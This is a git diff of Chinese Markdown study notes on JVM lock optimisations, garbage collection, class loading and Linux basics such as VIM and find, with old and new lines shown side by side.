前面我们讨论互斥同步的时候,提到了互斥同步对性能最大的营销阻塞的实现,挂起线程和恢复线程的操作都需要转入内核态完成,这些操作给系统的并发性能带来了很大的压力。同时,虚拟机的开发团队也注意到在许多应用上,共享数据的锁定状态只会持续很短的一段时间,为了这段时间去挂起和恢复线程并不值得。如果物理机器有一个以上的处理器,能让两个或以上的线程同时并行执行,我们就可以让后面请求锁的那个线程 “稍等一下”,但不放弃处理器的执行时间,看看持有锁的线程是否很快就会释放锁。为了让线程等待,我们只需让线程执行一个忙循环(自旋),这项技术就是所谓的自旋锁。
前面我们讨论互斥同步的时候,提到了互斥同步对性能最大的影响是阻塞的实现,挂起线程和恢复线程的操作都需要转入内核态完成,这些操作给系统的并发性能带来了很大的压力。同时,虚拟机的开发团队也注意到在许多应用上,共享数据的锁定状态只会持续很短的一段时间,为了这段时间去挂起和恢复线程并不值得。如果物理机器有一个以上的处理器,能让两个或以上的线程同时并行执行,我们就可以让后面请求锁的那个线程 “稍等一下”,但不放弃处理器的执行时间,看看持有锁的线程是否很快就会释放锁。为了让线程等待,我们只需让线程执行一个忙循环(自旋),这项技术就是所谓的自旋锁。
自旋锁在 JDK 1.4.2 中就已经引入,只不过默认是关闭的,可以使用 -XX:+UseSpinning 参数来开启,在 JDK 1.6 就已经改为默认开启了。自旋等待不能代替阻塞,且先不说对处理器数量的要求,自旋等待本身虽然避免了线程切换的开销,但它是要占用处理器时间的,因此,如果锁被占用的时间很短,自旋等待的效果就会非常好反之,如果锁被占用的时候很长,那么自旋的线程只会白白消耗处理器资源,而不会做任何有用的工作,反而会带来性能上的浪费。因此,自旋等待的时间必须要有一定的限度,如果自旋超过了限定的次数仍然没有成功获得锁,就应当使用传统的方式去挂起线程了。自旋次数的默认值是 10 次,用户可以使用参数 -XX:PreBlockSpin 来更改。
自旋等待本身虽然避免了线程切换的开销,但它是要占用处理器时间的,因此,如果锁被占用的时间很短,自旋等待的效果就会非常好。反之,如果锁被占用的时候很长,那么自旋的线程只会白白消耗处理器资源,而不会做任何有用的工作,反而会带来性能上的浪费。因此,自旋等待的时间必须要有一定的限度,如果自旋超过了限定的次数仍然没有成功获得锁,就应当使用传统的方式去挂起线程了。自旋次数的默认值是 10 次,用户可以使用参数 -XX:PreBlockSpin 来更改。
在 JDK 1.6 中引入了自适应的自旋锁。自适应意味着自旋的时间不再固定了,而是由前一次在同一个锁上的自旋时间及锁的拥有者的状态来决定。如果在同一个锁对象上,自旋等待刚刚成功获得过锁,并且持有锁的线程正在运行中,那么虚拟机就会认为这次自旋也很有可能再次成功,进而它将允许自旋等待持续相对更长的时间,比如 100 个循环。另外,如果对于某个锁,自旋很少成功获得过,那在以后要获取这个锁时将可能省略掉自旋过程,以避免浪费处理器资源。有了自适应自旋,随着程序运行和性能监控信息的不断完善,虚拟机对程序锁的状况预测就会越来越准确,虚拟机就会变得越来越 “聪明” 了。
在 JDK 1.6 中引入了自适应的自旋锁。自适应意味着自旋的时间不再固定了,而是由前一次在同一个锁上的自旋时间及锁的拥有者的状态来决定。如果在同一个锁对象上,自旋等待刚刚成功获得过锁,并且持有锁的线程正在运行中,那么虚拟机就会认为这次自旋也很有可能再次成功,进而它将允许自旋等待持续相对更长的时间,比如 100 个循环。另外,如果对于某个锁,自旋很少成功获得过,那在以后要获取这个锁时将可能省略掉自旋过程,以避免浪费处理器资源。有了自适应自旋,随着程序运行和性能监控信息的不断完善,虚拟机对程序锁的状况预测就会越来越准确,虚拟机就会变得越来越“聪明”了。
## 2. 锁消除
### 2. 锁消除
锁消除是指虚拟机即时编译器在运行时,对一些代码上要求同步,但是被检测到不可能存在共享数据竞争的锁进行消除。锁消除的主要判定依据来源于逃逸分析的数据支持,如果判定在一段代码中,堆上的所有数据都不会逃逸出去从而被其他线程访问到,那就可以把他们当做栈上数据对待,认为它们是线程私有的,同步加锁自然就无须进行。
也许读者会有疑问,变量是否逃逸,对于虚拟机来说需要使用数据流分析来确定,但是程序自己应该是很清楚的,怎么会在明知道不存在数据争用的情况下要求同步呢?答案是有许多同步措施并不是程序员自己加入的。同步的代码在 Java 程序中的普遍程度也许超过了大部分读者的想象。下面段非常简单的代码仅仅是输出 3 个字符串相加的结果,无论是源码字面上还是程序语义上都没有同步。
代码清单 6一段看起来没有同步的代码
```java
public static String concatString(String s1, String s2, String s3) {
return s1 + s2 + s3;
@ -851,8 +720,6 @@ public static String concatString(String s1, String s2, String s3) {
我们也知道,由于 String 是一个不可变的类,对字符串的连接操作总是通过生成新的 String 对象来进行的,因此 Javac 编译器会对 String 连接做自动优化。在 JDK 1.5 之前,会转化为 StringBuffer 对象的连续 append() 操作,在 JDK 1.5 及以后的版本中,会转化为 StringBuilder 对象的连续 append() 操作,即上面的代码可能会变成下面的样子:
代码清单 7Javac 转化后的字符串连接操作
```java
public static String concatString(String s1, String s2, String s3) {
StringBuffer sb = new StringBuffer();
@ -862,69 +729,64 @@ public static String concatString(String s1, String s2, String s3) {
return sb.toString();
}
```
每个 StringBuffer.append() 方法中都有一个同步块,锁就是 sb 对象。虚拟机观察变量 sb很快就会发现它的动态作用域被限制在 concatString() 方法内部。也就是说sb 的所有引用永远不会 “逃逸” 到 concatString() 方法之外,其他线程无法访问到它因此,虽然这里有锁,但是可以被安全地消除掉,在即时编译之后,这段代码就会忽略掉所有的同步而直接执行了。
每个 StringBuffer.append() 方法中都有一个同步块,锁就是 sb 对象。虚拟机观察变量 sb很快就会发现它的动态作用域被限制在 concatString() 方法内部。也就是说sb 的所有引用永远不会 “逃逸” 到 concatString() 方法之外,其他线程无法访问到它因此,虽然这里有锁,但是可以被安全地消除掉,在即时编译之后,这段代码就会忽略掉所有的同步而直接执行了。
## 3. 锁粗化
### 3. 锁粗化
原则上,我们在编写代码的时候,总是推荐将同步块的作用范围限制得尽量小——只在共享数据的实际作用域中才进行同步,这样是为了使得需要同步的操作数量尽可能变小,如果存在锁竞争,那等待锁的线程也能尽快拿到锁。
原则上,我们在编写代码的时候,总是推荐将同步块的作用范围限制得尽量小:只在共享数据的实际作用域中才进行同步。这样是为了使得需要同步的操作数量尽可能变小,如果存在锁竞争,那等待锁的线程也能尽快拿到锁。
大部分情况下,上面的原则都是正确的,但是如果一系列的连续操作都对同一个对象反复加锁和解锁,甚至加锁操作是出现在循环体中,那即使没有线程竞争,频繁地进行互斥同步操作也会导致不必要的性能损耗。
代码清单 7 中连续的 append() 方法就属于这类情况。如果虚拟机探测到由这样的一串零碎的操作都对同一个对象加锁,将会把加锁同步的范围扩展(粗化)到整个操作序列的外部,以代码清单 7 为例,就是扩展到第一个 append() 操作之前直至最后一个 append() 操作之后,这样只需要加锁一次就可以了。
上一节的示例代码中连续的 append() 方法就属于这类情况。如果虚拟机探测到由这样的一串零碎的操作都对同一个对象加锁,将会把加锁同步的范围扩展(粗化)到整个操作序列的外部。对于上一节的示例代码就是扩展到第一个 append() 操作之前直至最后一个 append() 操作之后,这样只需要加锁一次就可以了。
## 4. 轻量级锁
### 4. 轻量级锁
轻量级锁是 JDK 1.6 之中加入的新型锁机制,它名字中的 “轻量级” 是相对于使用操作系统互斥量来实现的传统锁而言的,因此传统的锁机制就称为 “重量级” 锁。首先需要强调一点的是,轻量级锁并不是用来代替重要级锁的,它的本意是在没有多线程竞争的前提下,减少传统的重量级锁使用操作系统互斥量产生的性能消耗。
轻量级锁是 JDK 1.6 之中加入的新型锁机制,它名字中的“轻量级”是相对于使用操作系统互斥量来实现的传统锁而言的,因此传统的锁机制就称为“重量级”锁。首先需要强调一点的是,轻量级锁并不是用来代替重要级锁的,它的本意是在没有多线程竞争的前提下,减少传统的重量级锁使用操作系统互斥量产生的性能消耗。
要理解轻量级锁,以及后面会讲到的偏向锁的原理和运作过程,必须从 HotSpot 虚拟机的对象对象头部分的内存布局开始介绍。HotSpot 虚拟机的对象头Object Header分为两部分信息第一部分用于存储对象自身的运行时数据如哈希码HashCode、GC 分代年龄Generational GC Age这部分数据是长度在 32 位和 64 位的虚拟机中分别为 32 bit 和 64 bit官方称它为 “Mark Word”它是实现轻量级锁和偏向锁的关键。另外一部分用于存储指向方法区对象类型数据的指针如果是数组对象的话还会有一个额外的部分用于存储数组长度。
要理解轻量级锁,以及后面会讲到的偏向锁的原理和运作过程,必须从 HotSpot 虚拟机的对象对象头部分的内存布局开始介绍。HotSpot 虚拟机的对象头Object Header分为两部分信息第一部分用于存储对象自身的运行时数据如哈希码HashCode、GC 分代年龄Generational GC Age这部分数据是长度在 32 位和 64 位的虚拟机中分别为 32 bit 和 64 bit官方称它为“Mark Word”它是实现轻量级锁和偏向锁的关键。另外一部分用于存储指向方法区对象类型数据的指针如果是数组对象的话还会有一个额外的部分用于存储数组长度。
对象头信息是与对象自身定义的数据无关的额外存储成本考虑到虚拟机的空间效率Mark Work 被设计成一个非固定的数据结构以便在极小的空间内存储尽量多的信息,它会根据对象的状态复用自己的存储空间。例如,在 32 位的 HotSpot 虚拟机中对象未被锁定的状态下Mark Word 的 32bit 空间中的 25bit 用于存储对象哈希码HashCode4bit 用于存储对象分代年龄2bit 用于存储锁标志位1bit 固定为 0在其他状态轻量级锁定、重量级锁定、GC 标记、可偏向)下对象的存储内容见表 13-1
简单地介绍了对象的内存布局后,我们把话题返回到轻量级锁的执行过程上。在代码进入同步块的时候,如果此同步对象没有被锁定(锁标志位为 “01” 状态虚拟机首先将在当前线程的栈帧中建立一个名为锁记录Lock Record的空间用于存储锁对象目前的 Mark Word 的拷贝(官方把这份拷贝加上了一个 Displaced 前缀,即 Displaced Mark Word。然后虚拟机将使用 CAS 操作尝试将对象的 Mark Word 更新为指向 Lock Record 的指针。如果这个更新动作成功了,那么这个线程就拥有了该对象的锁,并且对象 Mark Word 的锁标志位Mark Word 的最后 2bit将转变为 “00”即表示此对象处于轻量级锁定状态
<div align="center"> <img src="../pics//30edea19-3507-423c-bbb0-5184292692d7.png"/> </div><br>
<div align="center"> <img src="../pics//8cc671f0-7134-44b1-a7b5-6d24fe55e1c1.jpg"/> </div><br>
简单地介绍了对象的内存布局后,我们把话题返回到轻量级锁的执行过程上。在代码进入同步块的时候,如果此同步对象没有被锁定(锁标志位为 “01” 状态虚拟机首先将在当前线程的栈帧中建立一个名为锁记录Lock Record的空间用于存储锁对象目前的 Mark Word 的拷贝(官方把这份拷贝加上了一个 Displaced 前缀,即 Displaced Mark Word这时候线程堆栈与对象头的状态如图 13-3 所示。
<div align="center"> <img src="../pics//643a2587-08ae-4d92-94fb-d9a1c448cd13.png"/> </div><br>
然后,虚拟机将使用 CAS 操作尝试将对象的 Mark Word 更新为指向 Lock Record 的指针。如果这个更新动作成功了,那么这个线程就拥有了该对象的锁,并且对象 Mark Word 的锁标志位 Mark Word 的最后 2bit将转变为 “00”即表示此对象处于轻量级锁定状态这时候线程堆栈与对象头的状态如图 12-4 所示。
<div align="center"> <img src="../pics//0126ff14-d52d-4a6e-b8ca-e429881e23b7.png"/> </div><br>
如果这个更新操作失败了,虚拟机首先会检查对象的 Mark Word 是否指向当前线程的栈帧,如果只说明当前线程已经拥有了这个对象的锁,那就可以直接进入同步块继续执行,否则说明这个锁对象以及被其他线程线程抢占了。如果有两条以上的线程争用同一个锁,那轻量级锁就不再有效,要膨胀为重量级锁,所标志的状态变为 “10”Mark Word 中存储的就是指向重量级锁(互斥量)的指针,后面等待锁的线程也要进入阻塞状态。
如果这个更新操作失败了,虚拟机首先会检查对象的 Mark Word 是否指向当前线程的栈帧如果是的话只说明当前线程已经拥有了这个对象的锁那就可以直接进入同步块继续执行否则说明这个锁对象已经被其他线程线程抢占了。如果有两条以上的线程争用同一个锁那轻量级锁就不再有效要膨胀为重量级锁所标志的状态变为“10”Mark Word 中存储的就是指向重量级锁(互斥量)的指针,后面等待锁的线程也要进入阻塞状态。
上面描述的是轻量级锁的加锁过程,它的解锁过程也是通过 CAS 操作来进行的,如果对象的 Mark Word 仍然指向着线程的锁记录,那就用 CAS 操作把对象当前的 Mark Word 和线程中复制的 Displaced Mark Word 替换回来,如果替换成功,整个同步过程就完成了。如果替换失败,说明有其他线程尝试过获取该锁,那就要释放锁的同时,唤醒被挂起的线程。
轻量级锁能提升程序同步性能的依据是 “对于绝大部分的锁,在整个同步周期内都是不存在竞争的”,这是一个经验数据。如果没有竞争,轻量级锁使用 CAS 操作避免了使用互斥量的开销,但如果存在锁竞争,除了互斥量的开销外,还额外发生了 CAS 操作,因此在有竞争的情况下,轻量级锁会比传统的重量级锁更慢。
轻量级锁能提升程序同步性能的依据是“对于绝大部分的锁,在整个同步周期内都是不存在竞争的”,这是一个经验数据。如果没有竞争,轻量级锁使用 CAS 操作避免了使用互斥量的开销,但如果存在锁竞争,除了互斥量的开销外,还额外发生了 CAS 操作,因此在有竞争的情况下,轻量级锁会比传统的重量级锁更慢。
## 5. 偏向锁
### 5. 偏向锁
偏向锁也是 JDK 1.6 中引入的一项锁优化,它的目的是消除数据在无竞争情况下的同步原语,进一步提高程序的运行性能。如果说轻量级锁是在无竞争的情况下使用 CAS 操作去消除同步使用的互斥量,那偏向锁就是在无竞争的情况下把整个同步都消除掉,连 CAS 操作都不做了。
偏向锁的 “偏”,就是偏心的 “偏”、偏袒的 “偏”,它的意思是这个锁会偏向于第一个获得它的线程,如果在接下来的执行过程中,该锁没有被其他的线程获取,则持有偏向锁的线程将永远不需要再进行同步。
偏向锁的“偏”,就是偏心的“偏”、偏袒的“偏”,它的意思是这个锁会偏向于第一个获得它的线程,如果在接下来的执行过程中,该锁没有被其他的线程获取,则持有偏向锁的线程将永远不需要再进行同步。
如果读者读懂了前面轻量级锁中关于对象头 Mark Word 与线程之间的操作过程,那偏向锁的原理理解起来就会很简单。假设当前虚拟机启用了偏向锁(启用参数 -XX:+UseBiasedLocking这是 JDK 1.6 的默认值),那么,当锁对象第一次被线程获取的时候,虚拟机将会把对象头中的标志位设为 “01”即偏向模式。同时使用 CAS 操作把获取到这个锁的线程 ID 记录在对象的 Mark Word 之中,如果 CAS 操作成功,持有偏向锁的线程以后每次进入这个锁相关的同步块时,虚拟机都可以不再进行如何同步操作(例如 Locking、Unlocking 及对 Mark Word 的 Update 等)。
假设当前虚拟机启用了偏向锁(启用参数 -XX:+UseBiasedLocking这是 JDK 1.6 的默认值那么当锁对象第一次被线程获取的时候虚拟机将会把对象头中的标志位设为“01”即偏向模式。同时使用 CAS 操作把获取到这个锁的线程 ID 记录在对象的 Mark Word 之中,如果 CAS 操作成功,持有偏向锁的线程以后每次进入这个锁相关的同步块时,虚拟机都可以不再进行如何同步操作(例如 Locking、Unlocking 及对 Mark Word 的 Update 等)。
当有另外一个线程去尝试获取这个锁时偏向模式就宣告结束。根据锁对象目前是否处于被锁定的状态撤销偏向Revoke Bias后恢复到未锁定标志位为 “01”或轻量级锁定标志位为 “00”的状态后续的同步操作就如上面介绍的轻量级锁那样执行。偏向锁、轻量级锁的状态转换及对象 Mark Word 的关系如图 13-5 所示。
当有另外一个线程去尝试获取这个锁时偏向模式就宣告结束。根据锁对象目前是否处于被锁定的状态撤销偏向Revoke Bias后恢复到未锁定标志位为“01”或轻量级锁定标志位为“00”的状态后续的同步操作就如上面介绍的轻量级锁那样执行。偏向锁、轻量级锁的状态转换及对象 Mark Word 的关系如图 13-5 所示。
<div align="center"> <img src="../pics//b202eeb9-5e84-4dfb-a6a1-4f4b7ed5d3e4.jpg"/> </div><br>
<div align="center"> <img src="../pics//390c913b-5f31-444f-bbdb-2b88b688e7ce.jpg"/> </div><br>
偏向锁可以提高带有同步但无竞争的程序性能。它同样是一个带有效益权衡Trade Off性质的优化也就是说它并不一定总是对程序运行有利如果程序中大多数的锁总是被多个不同的线程访问那偏向模式就是多余的。在具体问题具体分析的前提下有时候使用参数 -XX:-UseBiasedLocking 来禁止偏向锁优化反而可以提升性能。
# 十一、多线程开发良好的实践
# 、多线程开发良好的实践
- 给线程命名。
- 最小化同步范围。
- 优先使用 volatile。
- 尽可能使用更高层次的并发工具而非 wait 和 notify() 来实现线程通信,如 BlockingQueue, Semeaphore。
- 多用并发容器,少用同步容器,并发容器比同步容器的可扩展性更好
- 考虑使用线程池。
- 最低限度的使用同步和锁,缩小临界区。因此相对于同步方法,同步块会更好
1. 给线程起个有意义的名字,这样可以方便找 Bug
2. 因为锁花费的代价很高,应该尽可能减小同步范围;
3. 多用同步类少用 wait 和 notify。首先CountDownLatch, Semaphore, CyclicBarrier 和 Exchanger 这些同步类简化了编码操作,而用 wait 和 notify 很难实现对复杂控制流的控制。其次,这些类是由最好的企业编写和维护在后续的 JDK 中它们还会不断优化和完善,使用这些更高等级的同步工具你的程序可以不费吹灰之力获得优化
4. 多用并发集合少用同步集合。并发集合比同步集合的可扩展性更好,例如应该使用 ConcurrentHashMap 而不是 Hashttable
# 参考资料
- Java 编程思想
- 深入理解 Java 虚拟机
- BruceEckel. Java 编程思想: 第 4 版 [M]. 机械工业出版社, 2007.
- 周志明. 深入理解 Java 虚拟机 [M]. 机械工业出版社, 2011.
- [线程通信](http://ifeve.com/thread-signaling/#missed_signal)
- [Java 线程面试题 Top 50](http://www.importnew.com/12773.html)
- [BlockingQueue](http://tutorials.jenkov.com/java-util-concurrent/blockingqueue.html)
- [thread state java](https://stackoverflow.com/questions/11265289/thread-state-java)
- [CSC 456 Spring 2012/ch7 MN](http://wiki.expertiza.ncsu.edu/index.php/CSC_456_Spring_2012/ch7_MN)
- [Java - Understanding Happens-before relationship](https://www.logicbig.com/tutorials/core-java-tutorial/java-multi-threading/happens-before.html)
- [6장 Thread Synchronization](https://www.slideshare.net/novathinker/6-thread-synchronization)

View File

@ -27,9 +27,7 @@
# 一、运行时数据区域
<div align="center"> <img src="../pics//dc695f48-4189-4fc7-b950-ed25f6c1521708518830.jpg"/> </div><br>
注:白色区域为线程私有,蓝色区域为线程共享。
<div align="center"> <img src="../pics//JVM-runtime-data-area.jpg" width=""/> </div><br>
## 程序计数器
@ -39,6 +37,8 @@
每个 Java 方法在执行的同时会创建一个栈帧用于存储局部变量表、操作数栈、动态链接、方法出口等信息。每一个方法从调用直至执行完成的过程,就对应着一个栈帧在 Java 虚拟机栈中入栈和出栈的过程。
<div align="center"> <img src="../pics//JVM-Stack.png" width=""/> </div><br>
可以通过 -Xss 这个虚拟机参数来指定一个程序的 Java 虚拟机栈内存大小:
```java
@ -56,6 +56,8 @@ java -Xss=512M HackTheJava
与 Java 虚拟机栈类似,它们之间的区别只不过是本地方法栈为本地方法服务。
<div align="center"> <img src="../pics//JNIFigure1.gif" width="400"/> </div><br>
## Java 堆
所有对象实例都在这里分配内存。
@ -72,14 +74,14 @@ java -Xss=512M HackTheJava
- From Survivor
- To Survivor
<div align="center"> <img src="../pics//ppt_img.gif"/> </div><br>
<div align="center"> <img src="../pics//ppt_img.gif" width=""/> </div><br>
Java 堆不需要连续内存,并且可以通过动态增加其内存,增加失败会抛出 OutOfMemoryError 异常。
Java 堆不需要连续内存,并且可以动态增加其内存,增加失败会抛出 OutOfMemoryError 异常。
可以通过 -Xms 和 -Xmx 两个虚拟机参数来指定一个程序的 Java 堆内存大小,第一个参数设置最小值,第二个参数设置最大值。
可以通过 -Xms 和 -Xmx 两个虚拟机参数来指定一个程序的 Java 堆内存大小,第一个参数设置初始值,第二个参数设置最大值。
```java
java -Xms=1M -XmX=2M HackTheJava
java -Xms=1M -Xmx=2M HackTheJava
```
## 方法区
@ -123,6 +125,8 @@ objB.instance = objA;
通过 GC Roots 作为起始点进行搜索,能够到达到的对象都是都是可用的,不可达的对象可被回收。
<div align="center"> <img src="../pics//0635cbe8.png" width=""/> </div><br>
GC Roots 一般包含以下内容:
1. 虚拟机栈中引用的对象
@ -132,7 +136,7 @@ GC Roots 一般包含以下内容:
### 3. 引用类型
无论是通过引用计算算法判断对象的引用数量,还是通过可达性分析算法判断对象的引用链是否可达,判定对象是否存活都与引用有关。
无论是通过引用计算算法判断对象的引用数量,还是通过可达性分析算法判断对象的引用链是否可达,判定对象是否存活都与引用有关。
Java 对引用的概念进行了扩充,引入四种强度不同的引用类型。
@ -150,7 +154,7 @@ Object obj = new Object();
用来描述一些还有用但是并非必需的对象。
在系统将要发生内存溢出异常之前,将会对这些对象列进回收范围之中进行第二次回收。如果这次回收还没有足够的内存,才会抛出溢出异常。
在系统将要发生内存溢出异常之前,将会对这些对象列进回收范围之中进行第二次回收。
软引用主要用来实现类似缓存的功能,在内存足够的情况下直接通过软引用取值,无需从繁忙的真实来源获取数据,提升速度;当内存不足时,自动删除这部分缓存数据,从真正的来源获取这些数据。
@ -211,20 +215,20 @@ finalize() 类似 C++ 的析构函数,用来做关闭外部资源等工作。
### 1. 标记 - 清除
<div align="center"> <img src="../pics//a4248c4b-6c1d-4fb8-a557-86da92d3a294.jpg"/> </div><br>
<div align="center"> <img src="../pics//a4248c4b-6c1d-4fb8-a557-86da92d3a294.jpg" width=""/> </div><br>
将需要回收的对象进行标记,然后清除。
不足:
1. 标记和清除过程效率都不高
2. 会产生大量碎片,内存碎片过多可能导致无法给大对象分配内存
2. 会产生大量碎片,内存碎片过多可能导致无法给大对象分配内存
之后的算法都是基于该算法进行改进。
### 2. 复制
<div align="center"> <img src="../pics//e6b733ad-606d-4028-b3e8-83c3a73a3797.jpg"/> </div><br>
<div align="center"> <img src="../pics//e6b733ad-606d-4028-b3e8-83c3a73a3797.jpg" width=""/> </div><br>
将内存划分为大小相等的两块,每次只使用其中一块,当这一块内存用完了就将还存活的对象复制到另一块上面,然后再把使用过的内存空间进行一次清理。
@ -234,7 +238,7 @@ finalize() 类似 C++ 的析构函数,用来做关闭外部资源等工作。
### 3. 标记 - 整理
<div align="center"> <img src="../pics//902b83ab-8054-4bd2-898f-9a4a0fe52830.jpg"/> </div><br>
<div align="center"> <img src="../pics//902b83ab-8054-4bd2-898f-9a4a0fe52830.jpg" width=""/> </div><br>
让所有存活的对象都向一端移动,然后直接清理掉端边界以外的内存。
@ -249,13 +253,13 @@ finalize() 类似 C++ 的析构函数,用来做关闭外部资源等工作。
## 垃圾收集器
<div align="center"> <img src="../pics//c625baa0-dde6-449e-93df-c3a67f2f430f.jpg"/> </div><br>
<div align="center"> <img src="../pics//c625baa0-dde6-449e-93df-c3a67f2f430f.jpg" width=""/> </div><br>
以上是 HotSpot 虚拟机中的 7 个垃圾收集器,连线表示垃圾收集器可以配合使用。
### 1. Serial 收集器
<div align="center"> <img src="../pics//22fda4ae-4dd5-489d-ab10-9ebfdad22ae0.jpg"/> </div><br>
<div align="center"> <img src="../pics//22fda4ae-4dd5-489d-ab10-9ebfdad22ae0.jpg" width=""/> </div><br>
它是单线程的收集器,不仅意味着只会使用一个线程进行垃圾收集工作,更重要的是它在进行垃圾收集时,必须暂停所有其他工作线程,往往造成过长的等待时间。
@ -265,7 +269,7 @@ finalize() 类似 C++ 的析构函数,用来做关闭外部资源等工作。
### 2. ParNew 收集器
<div align="center"> <img src="../pics//81538cd5-1bcf-4e31-86e5-e198df1e013b.jpg"/> </div><br>
<div align="center"> <img src="../pics//81538cd5-1bcf-4e31-86e5-e198df1e013b.jpg" width=""/> </div><br>
它是 Serial 收集器的多线程版本。
@ -287,7 +291,7 @@ finalize() 类似 C++ 的析构函数,用来做关闭外部资源等工作。
### 4. Serial Old 收集器
<div align="center"> <img src="../pics//08f32fd3-f736-4a67-81ca-295b2a7972f2.jpg"/> </div><br>
<div align="center"> <img src="../pics//08f32fd3-f736-4a67-81ca-295b2a7972f2.jpg" width=""/> </div><br>
Serial Old 是 Serial 收集器的老年代版本,也是给 Client 模式下的虚拟机使用。如果用在 Server 模式下,它有两大用途:
@ -296,7 +300,7 @@ Serial Old 是 Serial 收集器的老年代版本,也是给 Client 模式下
### 5. Parallel Old 收集器
<div align="center"> <img src="../pics//278fe431-af88-4a95-a895-9c3b80117de3.jpg"/> </div><br>
<div align="center"> <img src="../pics//278fe431-af88-4a95-a895-9c3b80117de3.jpg" width=""/> </div><br>
是 Parallel Scavenge 收集器的老年代版本。
@ -304,7 +308,7 @@ Serial Old 是 Serial 收集器的老年代版本,也是给 Client 模式下
### 6. CMS 收集器
<div align="center"> <img src="../pics//62e77997-6957-4b68-8d12-bfd609bb2c68.jpg"/> </div><br>
<div align="center"> <img src="../pics//62e77997-6957-4b68-8d12-bfd609bb2c68.jpg" width=""/> </div><br>
CMSConcurrent Mark Sweep从 Mark Sweep 可以知道它是基于标记 - 清除算法实现的。
@ -329,7 +333,7 @@ CMSConcurrent Mark Sweep从 Mark Sweep 可以知道它是基于标记 -
### 7. G1 收集器
<div align="center"> <img src="../pics//f99ee771-c56f-47fb-9148-c0036695b5fe.jpg"/> </div><br>
<div align="center"> <img src="../pics//f99ee771-c56f-47fb-9148-c0036695b5fe.jpg" width=""/> </div><br>
G1Garbage-First收集器是当今收集器技术发展最前沿的成果之一它是一款面向服务端应用的垃圾收集器HotSpot 开发团队赋予它的使命是(在比较长期的)未来可以替换掉 JDK 1.5 中发布的 CMS 收集器。
@ -426,7 +430,7 @@ JVM 并不是永远地要求对象的年龄必须达到 MaxTenuringThreshold 才
## 类的生命周期
<div align="center"> <img src="../pics//32b8374a-e822-4720-af0b-c0f485095ea2.jpg"/> </div><br>
<div align="center"> <img src="../pics//32b8374a-e822-4720-af0b-c0f485095ea2.jpg" width=""/> </div><br>
包括以下 7 个阶段:
@ -616,7 +620,7 @@ public static void main(String[] args) {
应用程序都是由三种类加载器相互配合进行加载的如果有必要还可以加入自己定义的类加载器。下图展示的类加载器之间的层次关系称为类加载器的双亲委派模型Parents Delegation Model。该模型要求除了顶层的启动类加载器外其余的类加载器都应有自己的父类加载器这里类加载器之间的父子关系一般通过组合Composition关系来实现而不是通过继承Inheritance的关系实现。
<div align="center"> <img src="../pics//2cdc3ce2-fa82-4c22-baaa-000c07d10473.jpg"/> </div><br>
<div align="center"> <img src="../pics//class_loader_hierarchy.png" width="600"/> </div><br>
**(一)工作过程**
@ -681,6 +685,11 @@ java -Xmx12m -Xms3m -Xmn1m -XX:PermSize=20m -XX:MaxPermSize=20m -XX:+UseSerialGC
# 参考资料
- 深入理解 Java 虚拟机
- 周志明. 深入理解 Java 虚拟机 [M]. 机械工业出版社, 2011.
- [Jvm memory](https://www.slideshare.net/benewu/jvm-memory)
- [Memory Architecture Of JVM(Runtime Data Areas)](https://hackthejava.wordpress.com/2015/01/09/memory-architecture-by-jvmruntime-data-areas/)
- [JVM Run-Time Data Areas](https://www.programcreek.com/2013/04/jvm-run-time-data-areas/)
- [Android on x86: Java Native Interface and the Android Native Development Kit](http://www.drdobbs.com/architecture-and-design/android-on-x86-java-native-interface-and/240166271)
- [深入理解 JVM(2)——GC 算法与内存分配策略](https://crowhawk.github.io/2017/08/10/jvm_2/)
- [深入理解 JVM(3)——7 种垃圾收集器](https://crowhawk.github.io/2017/08/15/jvm_3/)
- [JVM Internals](http://blog.jamesdbloom.com/JVMInternals.html)

File diff suppressed because it is too large Load Diff

View File

@ -154,16 +154,16 @@ Linux 发行版是 Linux 内核及各种应用软件的集成版本。
## VIM 三个模式
<div align="center"> <img src="../pics//5942debd-fc00-477a-b390-7c5692cc8070.jpg" width="400"/> </div><br>
- 一般指令模式Command mode进入 VIM 的默认模式,可以用于移动游标查看内容;
- 编辑模式Insert mode按下 "i" 等按键之后进入,可以对文本进行编辑;
- 指令列模式Bottom-line mode按下 ":" 按键之后进入,用于保存退出等操作。
- 一般指令模式:进入 VIM 的默认模式,可以用于移动游标查看内容;
- 编辑模式:按下 "i" 等按键之后进入,可以对文本进行编辑;
- 指令列模式:按下 ":" 按键之后进入,用于保存退出等操作。
<div align="center"> <img src="../pics//5942debd-fc00-477a-b390-7c5692cc8070.jpg" width="400"/> </div><br>
在指令列模式下,有以下命令用于离开或者保存文件。
| 命令 | 作用 |
| -- | -- |
| :--: | -- |
| :w | 写入磁盘|
| :w! | 当文件为只读时,强制写入磁盘。到底能不能写入,与用户对该文件的权限有关 |
| :q | 离开 |
@ -202,7 +202,7 @@ GPT 第 1 个区块记录了 MBR紧接着是 33 个区块记录分区信息
GPT 没有扩展分区概念,都是主分区,最多可以分 128 个分区。
<div align="center"> <img src="../pics//a5c25452-6fa5-49e7-9322-823077442775.jpg" width="400"/> </div><br>
<div align="center"> <img src="../pics//GUID_Partition_Table_Scheme.svg.png" width="400"/> </div><br>
## 开机检测程序
@ -321,7 +321,7 @@ UEFI 相比于 BIOS 来说功能更为全面,也更为安全。
- /usr (unix software resource):所有系统默认软件都会安装到这个目录;
- /var (variable):存放系统或程序运行过程中的数据文件。
<div align="center"> <img src="../pics//linux-filesystem.png"/> </div><br>
<div align="center"> <img src="../pics//linux-filesystem.png" width=""/> </div><br>
## 文件时间
@ -469,7 +469,7 @@ find 可以使用文件的属性和权限进行搜索。
# find filename [option]
```
**(一)与时间有关的选项**
(一)与时间有关的选项
```html
-mtime n :列出在 n 天前的那一天修改过内容的文件
@ -480,9 +480,9 @@ find 可以使用文件的属性和权限进行搜索。
+4、4 和 -4 的指示的时间范围如下:
<div align="center"> <img src="../pics//658fc5e7-79c0-4247-9445-d69bf194c539.png"/> </div><br>
<div align="center"> <img src="../pics//658fc5e7-79c0-4247-9445-d69bf194c539.png" width=""/> </div><br>
**(二)与文件拥有者和所属群组有关的选项**
(二)与文件拥有者和所属群组有关的选项
```html
-uid n
@ -493,7 +493,7 @@ find 可以使用文件的属性和权限进行搜索。
-nogroup搜索所属群组不存在于 /etc/group 的文件
```
**(三)与文件权限和名称有关的选项**
(三)与文件权限和名称有关的选项
```html
-name filename
@ -516,21 +516,19 @@ find 可以使用文件的属性和权限进行搜索。
2. inode一个文件占用一个 inode记录文件的属性同时记录此文件的内容所在的 block 号码;
3. block记录文件的内容文件太大时会占用多个 block。
